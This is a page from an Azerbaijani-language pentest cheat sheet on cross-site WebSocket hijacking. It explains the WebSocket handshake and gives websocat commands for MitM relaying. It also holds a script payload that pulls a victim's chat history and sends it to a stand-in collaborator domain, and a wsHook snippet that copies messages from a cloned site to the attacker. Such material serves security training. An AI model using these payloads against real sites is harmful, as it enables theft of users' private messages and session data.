Pentest və SOC Cheat Sheet
  • Reconnaissance
  • Post-Explotation
    • Linux Post-Explotation
      • Linux Local Enumeration
      • Linux Privilege Escalation
      • Dumping and cracking hashes on Linux
      • Linux Persistence
    • Windows Post-Explotation
      • Windows Local Enumeration
      • Windows Privilege Escalation
      • Windows Persistence
  • Network Services Pentesting
    • 21-Pentesting FTP
    • 22-Pentesting SSH
    • 23-Pentesting Telnet
    • 53-Pentesting DNS
    • 25,465,587-Pentesting SMTP
    • 110,995-Pentesting POP
    • 139,445-Pentesting SMB
    • 3306-Pentesting MySQL
    • 3389-Pentesting RDP
    • 1433-Pentesting MSSQL-Microsoft SQL Server
    • 389,636,3268,3269-Pentesting LDAP
  • Web Pentesting
    • Broken Access Control
      • Praktiki nümunə
    • OS Command Injection
      • Praktiki nümunə
    • SQL Injection
      • Praktiki nümunə
    • Cross-Site-Scripting (XSS)
      • Praktiki nümunə
    • File Upload
      • Praktiki nümunə
    • Directory Traversal və Path Traversal
      • Praktiki nümunə
    • CSRF
    • XXE
    • Clickjacking
      • Praktiki nümunə
    • SSRF
      • Praktiki nümunə
    • JWT (Json Web Token)
      • Praktiki nümunə
    • Local&Remote File İnclusion
      • Praktiki nümunə
      • Local File inclusion ilə reverse shell almaq
    • 401&403 Bypass
    • Login Bypass
    • Open Redirect
    • Unicode Injection
    • Security Misconfiguration
    • CRLF injection
    • LDAP Injection
    • Cookies Hacking
    • Cross site WebSocket hijacking (CSWSH)
    • SSTI (Server Side Template Injection)
    • CSTI (Client Side Template Injection)
    • XSLT Server Side Injection (Extensible Stylesheet Languaje Transformations)
    • Registration & Takeover Vulnerabilities
    • Regular expression Denial of Service - ReDoS
    • Reset/Forgotten Password Bypass
    • SAML Hücumları
    • Reverse Tab Nabbing
    • Web Tool - WFuzz
    • XPATH enjeksiyonu
    • Server-Side Includes (SSI) Injection
    • Edge Side Inclusion Injection (ESII)
    • Race Condition
    • PostMessage
    • Parameter Pollution
    • Cache Poisoning and Cache Deception
    • Captcha Bypass
  • AD Pentesting
    • Domain Enumeration
      • PowerView ilə enumeration
      • AD Module ilə enumeration
      • BloodHound ilə enumeration
        • On Site BloodHound
      • Using Adalanche
        • Remote adalanche
      • Useful Enumeration Tools
    • Local Privilege Escalation
      • Useful Local Priv Esc Tools
      • UAC Bypass
    • Lateral Movement
      • Powershell Remoting
      • Mimikatz
      • Remote Desktop Protocol
      • URL File Attacks
      • Useful Tools
    • Domain Privilege Escalation
      • Kerberoast
      • ASREPRoast
      • Password Spray Attack
      • Force Set SPN
      • Abusing Shadow Copies
      • List and Decrypt Stored Credentials using Mimikatz
      • Unconstrained Delegation
      • Constrained Delegation
      • Resource Based Constrained Delegation
      • DNSAdmins Abuse
      • Abusing Active Directory-Integraded DNS (ADIDNS) poisoning
      • Abusing Backup Operators Group
      • SID History Abuse
      • Active Directory Certificate Services
    • Domain Persistence
      • Golden Ticket Attack
      • Silver Ticket Attack
      • Skeleton Key Attack
      • DSRM Abuse
      • DCsync Attack
    • Cross Forest Attacks
      • Trust Tickets
      • Abuse MSSQL Servers
      • Breaking Forest Trusts
  • SOC - Cheat Sheet
    • SOC Nədir?
    • SOC Komponentləri Nələrdir?
    • SOC Checklist
    • SIEM
      • Splunk Qurulması və Konfiqurasiyası
    • IDS/IPS
    • Firewall
    • Firewall qurulması və konfiqurasiyası
    • EDR/XDR
    • SOAR
    • Windows Commands for SOC analysts
      • GUI Programs in Windows
      • Event Viewer
      • Task Scheduler
      • Group Policy Editor
      • Device Manager
      • Task Manager
      • Registry Manager
    • Linux Commands for SOC analysts
    • LOLBAS Apps and Commands
      • Apps and Commands
Powered by GitBook
On this page

Was this helpful?

  1. Web Pentesting

Cross site WebSocket hijacking (CSWSH)

Cross-site WebSocket hijacking (CSWSH)

WebSockets nədir?

WebSocket əlaqələri HTTP üzərindən başlayır və adətən uzunömürlüdür. Mesajlar istənilən vaxt istənilən istiqamətdə göndərilə bilər və tranzaksiya xarakteri daşımır. Müştəri və ya server mesaj göndərməyə hazır olana qədər əlaqə normal olaraq açıq və boş qalacaq.

WebSockets, maliyyə məlumatlarının real vaxt rejimində ötürülməsi kimi aşağı gecikmə və ya server tərəfindən başlatılan mesajların tələb olunduğu hallarda xüsusilə faydalıdır.

WebSocket əlaqələri necə qurulur?

WebSocket əlaqələri adətən aşağıdakı kimi müştəri tərəfində JavaScript istifadə edərək yaradılır:

var ws = new WebSocket("wss://normal-website.com/chat");

WSS protokolu şifrələnmiş TLS bağlantısı üzərində WebSocket qurur, ws protokolu isə şifrələnməmiş bağlantıdan istifadə edir.

Bağlantı qurmaq üçün brauzer və server HTTP üzərindən WebSocket handshake həyata keçirir. Brauzer aşağıdakı kimi WebSocket handshake sorğusu verir:

GET /chat HTTP/1.1

Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket

Server əlaqəni qəbul edərsə, o, aşağıdakı kimi WebSocket handshake cavabını qaytarır:

HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=

Bu nöqtədə şəbəkə bağlantısı açıq qalır və hər iki istiqamətdə WebSocket mesajlarını göndərmək üçün istifadə edilə bilər.

Qeyd

WebSocket handshake mesajlarının bir neçə xüsusiyyətini qeyd etməyə dəyər:

  • Sorğu və cavabdakı Connection və Upgrade başlıqları bunun WebSocket handshake olduğunu göstərir.

  • Sec-WebSocket-Version sorğu başlığı müştərinin istifadə etmək istədiyi WebSocket protokolunun versiyasını müəyyən edir. Bu adətən 13-dür.

  • Sec-WebSocket-Key sorğu başlığı hər bir handshake sorğusunda təsadüfi yaradılmalı olan Base64 kodlu təsadüfi dəyərdən ibarətdir.

  • Sec-WebSocket-Accept cavab başlığı Sec-WebSocket-Key sorğu başlığında təqdim edilmiş, protokol spesifikasiyasında müəyyən edilmiş xüsusi sətirlə birləşdirilən dəyərin heshini ehtiva edir. Bu, səhv konfiqurasiya edilmiş serverlər və ya proksilərin keşləşdirilməsi nəticəsində yaranan yanıltıcı cavabların qarşısını almaq üçün edilir.

  • Sec-WebSocket-Key başlığı proksilərin keşləşdirilməsində səhvlərin qarşısını almaq üçün təsadüfi dəyərdən ibarətdir və autentifikasiya və ya sessiyanın idarə edilməsi məqsədləri üçün istifadə edilmir (Bu, CSRF nişanı deyil).

Linux konsolu

Siz websocket ilə raw əlaqə yaratmaq üçün websocat istifadə edə bilərsiniz.

websocat --insecure wss://10.10.10.10:8000 –v

Və ya websocat serveri yaratmaq üçün:

websocat -s 0.0.0.0:8000 #Listen in port 8000

MitM veb-soket bağlantıları

Müştərilərin cari yerli şəbəkənizdən HTTP veb-soketinə qoşulduğunu görsəniz, müştəri və server arasında MitM hücumu həyata keçirmək üçün ARP Spoofing Attack cəhd edə bilərsiniz.

Müştəri sizinlə əlaqə saxlamağa çalışdıqdan sonra istifadə edə bilərsiniz:

websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 –v

Sadə Hücum

Qeyd edək ki, veb-soket bağlantısı qurarkən kuki serverə göndərilir. Server göndərilən kuki əsasında hər bir xüsusi istifadəçini veb-soket sessiyası ilə əlaqələndirmək üçün ondan istifadə edə bilər.

Sonra, məsələn, veb-soket serveri istifadəçinin söhbət tarixini geri göndərirsə, əgər "READY" ilə mesaj göndərilirsə, o zaman əlaqə quran sadə XSS (cookie qurban istifadəçiyə icazə vermək üçün avtomatik olaraq göndəriləcək) göndərilir " READY" söhbətin tarixçəsini əldə edə biləcək:

<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>

İstifadəçidən məlumatların oğurlanması

Təqlid etmək istədiyiniz veb tətbiqini (məsələn, .html faylları) kopyalayın və veb-socket rabitəsinin baş verdiyi skriptin içərisinə bu kodu əlavə edin:

<script src='wsHook.js'></script>
wsHook.before = function(data, url) {
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "client_msg?m="+data, true);
xhttp.send();
}
wsHook.after = function(messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "server_msg?m="+messageEvent.data, true);
xhttp.send();
return messageEvent;
}

İndi (https://github.com/skepticfx/wshook) ünvanından wsHook.js faylını yükləyin və veb faylları olan qovluqda saxlayın.

Veb tətbiqini expose etməklə və istifadəçini ona qoşulmaqla siz göndərilən və qəbul edilən mesajları websocket vasitəsilə oğurlaya biləcəksiniz:

sudo python3 -m http.server 80
PreviousCookies HackingNextSSTI (Server Side Template Injection)

Last updated 1 year ago

Was this helpful?